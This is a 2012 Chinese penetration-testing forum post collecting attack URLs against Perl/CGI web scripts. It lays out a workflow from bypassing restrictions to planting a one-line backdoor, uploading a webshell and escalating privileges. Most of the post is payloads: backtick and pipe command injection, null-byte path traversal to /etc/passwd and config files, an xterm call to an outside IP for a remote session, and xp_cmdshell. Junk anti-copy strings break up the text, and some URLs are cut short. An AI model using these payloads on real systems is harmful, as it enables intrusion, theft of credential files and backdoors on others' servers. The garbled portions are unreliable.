中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
: p# {' x. q3 W) G+ U. U
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
* R0 c% Z& G6 w! V
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
1 T, L H E# t' d( D5 T g* ?
注“
" E3 K1 @7 [6 S, @1 Q& Y$ t2 L
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
5 L) F& d% I+ ^0 v; d
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
* h5 ~. {& A( \8 l- J
6 M0 F$ E1 W+ V
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
. r. E0 y4 h' r2 f+ W- E
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
. e( V0 J/ i5 c& j7 r
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
2 D9 D: d' n! }: f X" S' Q% [+ U
http://target.com/cgi-bin/home/news/sub.pl?`id`
* Z l8 r/ c0 X% t, G6 ~; v( W+ ~
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
/ F( _: g5 L& h' \. o& N
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
* X% }; W I, [7 D% ?
Z: \0 c* a- t
http://target.com/test.pl;ls
|
1 ]3 G s% J2 J
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
1 q- |7 `0 n5 s; b( }0 a
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
/ W3 Z. ^: A5 \5 N2 Z4 q
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
+ b! |2 O X g; j
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
6 t. Y0 }1 q( `5 O! {! `. c, O$ \
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
; s* v) E4 Z0 U$ ` b9 o4 m- ^
8 {5 ?- d; r, \
http://target.com/test.pl?&........
/../../etc/passwd
6 x( u7 s* G6 m
J/ V0 k7 `! R
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
' o; {7 R5 a, ~( j1 F+ h) i1 t
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
: ~) s* h3 H" ]) r0 g6 v5 _
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
+ @% k* M4 x7 l) R: X
: d% m* F Q! f Y
http://www.target.org/show.php?f
... /include/config.php 查看php代码
3 c/ p$ W8 ^& D* N: _/ D
http://www.target.org/show.php?f
... ng/admin/global.php
- A; J. P8 S! \7 g M
% l' I5 R) I$ {& v0 ~% N
emm和ps的一句话
& t6 I' A" q+ Q5 |0 M+ a7 t
) _: v! m' N& \* g* _3 _
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
& o! {" l8 s d
: M8 Y0 {0 G; _( L( ]- ^
>bbb%20|
' ]) x) K8 J" n( B5 J* h; B
! Y3 D! o8 l' L# i% ^# H. F
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
6 L4 m8 _, [3 `+ m+ v4 A
- _$ {' g3 k. Z) u O u( L7 i+ u
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
( v, |# i7 c8 t+ @2 X
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
& q! J& h1 p% a$ u9 J
' I! Q3 Q$ y9 U" T
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
, _. p( {! _' v1 E6 C' c9 j/ O7 \3 |- j
http://target.com/index.html#cmd.exe
3 b' L& z' N; ]
http://target.com/index.html?dummyparam=xp_cmdshell
( d9 v0 i0 `, M0 F4 R. P" O
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
1 `& \: i8 b- B2 d7 `
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2